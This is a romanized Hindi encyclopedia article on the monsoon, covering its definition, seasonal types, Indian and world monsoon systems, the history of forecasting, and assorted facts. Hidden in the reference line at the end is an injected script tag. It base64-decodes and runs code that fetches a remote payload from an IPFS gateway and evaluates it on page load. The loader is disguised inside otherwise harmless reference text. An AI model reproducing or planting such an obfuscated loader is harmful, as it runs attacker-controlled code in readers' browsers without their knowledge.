मानसून
manasoon
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| vivaran | 'manasoon' kisi bhi desh aur usaki krishi ke lie bahut mahattvapoorn hai. manasoon ke samay kuchh vishisht havaean pravahaman hoti haian, jinaki vajah se paryapt matra mean varsha hoti hai. |
| arth | manasoon ka arth hai- "ve havaean, jinaki disha rritu ke anusar badal jati hai". |
| prakar | 'garmi ka manasoon' (aprail se sitambar), 'ja de ka manasoon' (aktoobar se march) |
| mahattv | manasoon krishi ke lie atyant avashyak hai. vishv ki kee pramukh fasaloan ki paidavar manasoon ki varsha par hi nirbhar karati hai. |
| vishesh | lagabhag do hazar eesa poorv rachit upanishadoan mean prithvi aur soory ke sapekshik gati se utpann mausam chakr, badaloan ka banana tatha varsha jaisi vishayoan par pahali bar darshanik charcha ka ullekh milata hai. |
| sanbandhit lekh | varsha, hind mahasagar, arab sagar, bangal ki kha di |
| any janakari | bharatiy bhashaoan mean manasoon ke badal ke lie 'ghan', 'ghata', 'megh', 'badali', 'jalad', 'saudamini' jaise kam se kam 40 se adhik paryayavachi shabd haian. maladiv mean ise 'hulahaangu' ya 'iroovaee', shrilanka mean ise 'yalhulanga' ya 'kachchan' nam se pukara jata hai. |
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manasoon se abhipray hai- 've havaean, jinaki disha rritu ke anusar badal jati hai.' hind mahasagar evan arab sagar ki or se bharat ke dakshin-pashchim tat par ani vali ve vishesh havaean, jo bharat, pakistan, baangladesh adi mean bhari varsha karatian haian. manasoon bharatiy krishi aur arthavyavastha ke lie behad aham hai, isake sath hi bharat ke lok jivan se bhi gahare ju da hai. yah garmi ki tapish se nijat dilata hai aur logoan mean utsah v khushi ka sanchar karata hai. bharat mean manasoon hind mahasagar v arab sagar ki or se himalay ki or ane vali havaoan par nirbhar karata hai. jab ye havaean bharat ke dakshin-pashchim tat par pashchimi ghat se takarati haian to bharat tatha as-pas ke deshoan mean bhari varsha hoti hai. ye havaean dakshin eshiya mean joon se sitambar tak sakriy rahati haian. vaise kisi bhi kshetr ka manasoon usaki jalavayu par nirbhar karata hai.
prakar
bharat ek krishi pradhan desh hai. yahaan ki arthavyavastha adhikaanshat: krishi par hi nirbhar hai. isilie yah bahut avashyak hai ki paryapt matra mean jal krishi ke lie upalabdh ho. manasoon mean hone vali achchhi varsha kafi had tak kisanoan ko samriddh bana deti hai. bharat hi nahian vishv ki kee pramukh fasalean manasooni varsha par nirbhar haian. bharat agar chhah rrituoan ka desh hai, to manasoon us chakr ki dhuri hai. aj bhi manasoon se hone vali varsha, bharatiy arthavyavastha ka adhar hai. sakal ghareloo utpad ka 30 pratishat krishi se ata hai, jabaki lagabhag 67 pratishat mazadooroan ki nirbharata krishi ya is par adharit udyogoan par hi hai. manasooni havaoan ke do prakar hote haian-
- garmi ka manasoon, jo aprail se sitambar tak chalata hai.
- ja de ka manasoon, jo aktoobar se march tak chalata hai.
bharat mean varsha karane vala manasoon do shakhaoan mean banta hota hai-
- arab sagar ka manasoon
- bangal ki kha di ka manasoon
nam tatha vistar
bharat samet poore dakshin eshiya mean krishi ka adhar manasoon hai. 'manasoon' shabd ki utpatti arabi bhasha ke 'mausim' shabd se huee hai. arab ke samudri vyapariyoan ne samudr se sthal ki or ya isake viparit chalane vali havaoan ko 'mausim' kaha, jo age chalakar 'manasoon' kaha jane laga. manasoon ka jadoo aur isaka jivan–sangit bharatiy upamahadvip mean hi phaila ho, aisa nahian hai. vastav mean, yah prithvi par sabase b di jalavayu sanrachana hai. bhoogol par isaka vistar lagabhag 10 digri dakshini akshaansh se lekar 25 digri uttari akshaansh tak hai. yadyapi manasoon mukhy roop se dakshin aur dakshin–poorv eshiya, madhy afrika tatha uttari aaustreliya mean poorn vikasit roop mean milata hai, kiantu amerika aur meksiko ke pashchimi bhagoan tak isake tar ju de haian. sanpoorn bharatiy upamahadvip ke alava eshiya mean thailaiand, myaanmar, laos tatha viyatanam mean manasoon ka prabhav garmiyoan mean spasht taur par dikhaee deta hai, jabaki hind mahasagar ke vistrit jalarashi ke chalate iandoneshiyaee dvip samoohoan par isaka prabhav kam hai. dakshini chin evan philipians mean ja de ke dinoan mean chalane vali vyaparik pavanoan ka garmi ke dinoan mean gayab hona bhi manasooni havaoan ke chalate hi hai.[1]
bhaugolik tathy
prakriti ke lay-tal mean bandhe manasoon chakr ko prithvi aur samudri jal ke oopar varsh bhar p dane vali saur ooshma ke phalasvaroop hone vale tapaantar ke roop mean samajha ja sakata hai. jaliy evan sthaliy bhagoan mean saur vikiran ko dharan karane ki kshamata alag-alag hoti hai. sthal bhag ki tulana mean, soory ki ooshma samudri jal ko adhik der se garm kar pati hai. ja de ke pashchath aprail-mee mean soory ki garmi pakar, bharatiy prayadvip tatha dakshin-poorv eshiya ka sthaliy bhag, jahaan khoob garm ho jata hai, vahian hind mahasagar ki vishal jalarashi apekshakrit thandi hoti hai.thumb|300px|left|manasooni varsha mean gujarate vahan sthaliy bhag mean havaean garm hokar oopar ki or uthati haian aur nimn dab ki sthiti paida ho jati hai. tapaantar aur nimn dab ki sthiti mean arab sagar aur 'bangal ki kha di' mean uchchadab ki sthiti vali shital samudri pavan apane sath bhari nami lie age badhati hai. bharatiy prayadvip ke pashchim mean sahayadri aur uttar mean himalay parvat jaise rukavat ko pakar manasooni havaean oopar uthati haian aur shitalan ke pashchath usaki nami se sanghanit hokar varsha ki booandoan mean badal jati hai. arab sagar aur bangal ki kha di mean prayah ek sath uthane vali manasooni pavan ke age badhane par keral ke nikat pashchimi ghat aur poorvi bharat ke meghalay mean garo-khasi ki paha diyoan se takarakar 2500 milimitar se bhi adhik varsha karati hai.[1]
'bangal ki kha di' se chalane vali shakha poorvi evan poorvottar bharat, myaanmar, bhootan aur nepal mean varsha karati hai. dakshin-poorvi manasoon ki donoan shakhaean age badhane par ganga ke maidani hisse mean milakar pashchim bharat hote hue pakistan ki or badh jati hai. dakshin-poorvi manasoon jaise-jaise age badhati hai, usaki nami kam hoti jati hai aur varsha ki matra bhi. sitambar ke aant mean sthiti ulti hone par, havaean apana rukh badal leti haian aur madhy bharat ke maidanoan aur 'bangal ki kha di' ke oopar se lautate hue vapasi mean nami se bhar jati haian. uttar–pashchimi disha mean bahati huee, nami se bhari ye manasooni havaean lautate samay bharat ke tamilanadu, shrilanka tatha aaustreliya ke uttari bhagoan mean samany se bhari varsha karati haian.
vaijnanik drishtikon
manasoon ki utpatti evan isaki bhavishyavani praranbh se hi logoan ke lie jijnasa evan khoj ka vishay raha hai. jyotishiy gananaoan ke adhar par varsha ke dinoan ka anuman prachin kal se hi bharatiy panditoan dvara kiya jata raha hai. ane vali manasoon se sanbhavit varsha ka poorvanuman koee asan kam nahian hai. vaijnanik tarike se 1884 se hi is disha mean prayas chal rahe haian. bharatiy up-mahadvip mean manasoon ki lanbi avadhi ke lie bhavishyavani ki jimmedari 1875 mean sthapit 'bharat mausam vibhag' nibha raha hai. mausam vibhag dvara 16 kshetriy evan vaishvik rashiyoan ka upayog kar 1988 mean ek m aaudal vikasit kiya gaya, taki lanbi avadhi ke lie manasoon ki bhavishyavani ki ja sake. in rashiyoan mean tapaman se sanbandhit 6, vayudab kshetr se sanbandhit 3, dabav mean bhinnata ki sthiti ke lie 5 tatha himakshetr se sanbandhit 2 rashi haian. vibhinn sthanoan par lie ge tap, dab, ardata jaisi sthaliy, samudri evan vayumandaliy bhautik rashiyoan ke man par adharit saankhyikiy m aaudal ki sahayata se sanbhavit manasoon ki varsha ka anuman lagaya jata hai. 'supar kanpyootar' ka bhi upayog kar, ghat pratigaman m aaudal ki sahayata se prapt varsh-man 4 pratishat sanbhavit truti sima ke lie svikary hota hai.[1]
vishv ke manasoon
manasoon kisi bhi desh aur usaki krishi vyavastha ke lie bahut mahattvapoorn hai. vishv ki pramukh manasoon pranaliyoan mean pashchimi afrika evan eshiya-aaustreliyaee manasoon ate haian. is shreni mean uttari amarika aur dakshin amariki manasoonoan ko sammilit karane mean kuchh matabhed abhi bhi vaijnanikoan ke madhy haian. thumb|300px|varsha ka drishy
bharatiy manasoon
bharatiy manasoon hind mahasagar v arab sagar ki or se himalay ki or ane vali havaoan par nirbhar karata hai. jab ye havaean bharat ke dakshin pashchim tat par pashchimi ghat se takarati haian to bharat tatha as-pas ke deshoan mean bhari varsha hoti hai. ye havaean dakshin eshiya mean joon se sitambar tak sakriy rahati haian. vaise kisi bhi kshetr ka manasoon usaki jalavayu par nirbhar karata hai. bharat ke sanbandh mean yahaan ki jalavayu ooshnakatibandhiy hai aur ye mukhyatah do prakar ki havaoan se prabhavit hoti hai- 'uttar-poorvi manasoon' v 'dakshini-pashchimi manasoon'. uttar-poorvi manasoon ko prayah 'shit manasoon' kaha jata hai. yah havaean maidan se sagar ki or chalati haian, jo hind mahasagar, arab sagar aur 'bangal ki kha di' ko par karake ati haian. yahaan adhikaansh varsha dakshin pashchim manasoon se hoti hai. bharat mean poorv se pashchim disha ki or se kark rekha nikalati hai. isaka desh ki jalavayu par sidha prabhav p data hai. grishm, shit aur varsha rrituoan mean se varsha rritu ko prayah 'manasoon' nam se sambodhit kar diya jata hai.
poorv eshiyaee manasoon
yah manasoon iando-chin, philipians, chin, koriya evan japan ke b de kshetroan mean prabhav dalata hai. isaki mukhy prakriti garm, barasati grishm kal evan shit-shushk shitakal hote haian. isamean adhikatar varsha ek poorv-pashchim mean phaile nishchit kshetr mean simit rahati hai, sivay poorvi chin ke, jahaan varsha poorv-poorvottar mean koriya v japan mean hoti hai. mausami varsha ko chin mean 'meiyu', koriya mean 'chaangma' aur japan mean 'baee-yu' kaha jata hai. grishm kalin varsha ka agaman dakshin chin evan taeevan mean mee mah ke aranbh mean ek manasoon-poorv varsha se hota hai. isake bad mee se agast paryant grishm kalin manasoon anek shushk evan ardr shriankhalaoan se uttaravarti hota jata hai. ye iando-chaina evan dakshin chini sagar se aranbh hokar yaangtaji nadi evan japan mean aur antatah uttari chin evan koriya mean julaee tak pahuanchata hai. agast ke mahine mean manasoon kal ka aant hona arambh hota hai aur yah dakshin chin ki taraf mu dane lagata hai.
afrika
pashchimi up-sahara afrika ke manasoon ko pahale antarkatibandhiy sansripti zon ke mausami badalavoan aur sahara tatha vishuvatiy aandh mahasagar ke bich tapaman evan ardrata ke aantaroan ke parinamasvaroop samajha jata tha. ye vishuvatiy aandh mahasagar se faravari mean uttaravarti hota hai, aur phir lagabhag 22 joon tak pashchimi afrika pahuanchata hai, aur aktoobar tak dakshinavarti hote hue pichhe hatata hai. shushk uttar-pashchimi vyaparik pavan aur unake charam svaroop haramattan mean uttari badalav se prabhavit hote haian aur parinamit dakshinavarti pavan grishm kal mean varsha lekar ati haian. soodan aur sahel ke ardh-shushk kshetr apane marusthaliy kshetr mean hone vali zyadatar varsha ke liye is manasoon par hi ashrit haian.
uttari amarika
uttar amariki manasoon varsh ke joon ke aant ya julaee ke aranbh se sitambar tak ata hai. isaka udgam meksiko se hota hai aur sanyukt rajy mean madhy julaee tak varsha upalabdh karata hai. isake prabhav se meksiko mean siyera maidr aauksidental ke sath-sath aur erizona, nyoo meksiko, nevada, yootah, koloraido, pashchimi teksas tatha kailiphorniya mean varsha aur ardrata hoti hai. ye pashchim mean prayadvipiy kshetroan tatha dakshini kailiphorniya ke transvars shriankhalaoan tak phailate haian, kintu tatavarti rekha tak kadachit hi pahuanchate haian. uttari amariki manasoon ko samar, sauthavest, meksikan ya erizona manasoon ke nam se bhi jana jata hai. ise kee bar 'marusthaliy manasoon' bhi kah diya jata hai, kyoanki isake prabhavit kshetroan mean adhikaansh bhag mojev aur sonorain marusthaloan ke haian.
mahattvapoorn tathy
thumb|300px|varsha mean rikshe vala manasoon ki varsha ke sandarbh mean itihas evan vijnan se sanbandhit kuchh rochak tathy[1] nimnalikhit haian-
- lagabhag do hazar eesa poorv rachit upanishadoan mean prithvi aur soory ke sapekshik gati se utpann mausam chakr, badaloan ka banana tatha varsha jaisi vishayoan par pahali bar darshanik charcha ka ullekh milata hai. chauthi sadi eesa poorv mean kautily dvara likhe gaye 'arthashastr' mean varshamapi upakaran ka varnan tatha rajasv evan rahat karyoan mean varsha ke vaijnanik map ka mahattv bataya gaya hai. paanchavian sadi mean varahamihir dvara rachit pustak 'vrihatasanhita' mean 'adityeth jayate vrishti' kahakar soory ko varsha ka janak kaha gaya hai.
- satavian sadi mean mahakavi kalidas dvara sanskrit mean rachit granth 'meghadootamh' mean manasoon ki varsha ka madhy bharat mean agaman kal tatha badaloan ke kramashah age badhane ka kavyamay varnan hai.
- adhunik samay mean british vaijnanik haili ne 1636 eesvi mean grishm kalin bharatiy manasoon par vistrit vivaran likha tha. varsh 1877 eesvi mean ae bhayankar akal ke pashchath bharat mean padasthapit ek aangrez mausam vaijnanik tatha 'bharat mausam vibhag' ke sansthapak ech.ef.blainaford ne 1884 mean pahali bar manasoon ke agaman ki vaijnanik adhar par bhavishyavani ki thi.
- 'mausam vijnan vibhag' ke anusar lanbi avadhi ki ganana ke adhar par ausat man ki 90 se 97 pratishat tak hone vali varsha samany manasoon kahalati hai, jabaki 90 pratishat se kam varsha sookhe ka sanket hai. bharatiy upamahadvip mean 1889 se lagatar dakshin-pashchim manasoon ki samany varsha ho rahi hai. varsh 1921-1940 evan 1952-1964 ki avadhi ke bad pichhale 100 varshoan mean aisa tisari bar hua hai.
- manasoon se hone vali samany varsha se alag, jab 100 milimitar prati ghanta se adhik varshan ho, tab ise "badal ka phatana" kaha jata hai. aisi sthiti mean jan-mal ka kafi nukasan hota hai.
- bharatiy upamahadvip mean hone vali ausat varshik varsha ka 80 pratishat dakshin pashchim manasoon ke dvara sirf tin mahinoan mean hi ho jati hai. sansar mean sabase adhik varsha bharat ke meghalay rajy mean sthit jagah 'masinaram' (cherapooanji) mean hoti hai.
- manasooni pradesh mean zyadatar chau di patti vale sadabahar van milate haian, kiantu kam varsha ke kshetr mean ushn-katibandhiy patajh d van bhi milate haian. sagavan, sal, semal, shisham, baans jaisi bahumooly lak diyoan ke alava vayaviy j doan ke sahare doosare vanoan par vikasit hone vale 'ipifaitik arkid' jaise padap samooh bhi paye jate haian.
- bharatiy bhashaoan mean manasoon ke badal ke lie 'ghan', 'ghata', 'megh', 'badali', 'jalad', 'saudamini' jaise kam se kam 40 se adhik paryayavachi shabd haian. maladiv mean ise 'hulahaangu' ya 'iroovaee', shrilanka mean ise 'yalhulanga' ya 'kachchan' nam se pukara jata hai.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 prakriti ka jivan sangit (hindi). . abhigaman tithi: 07 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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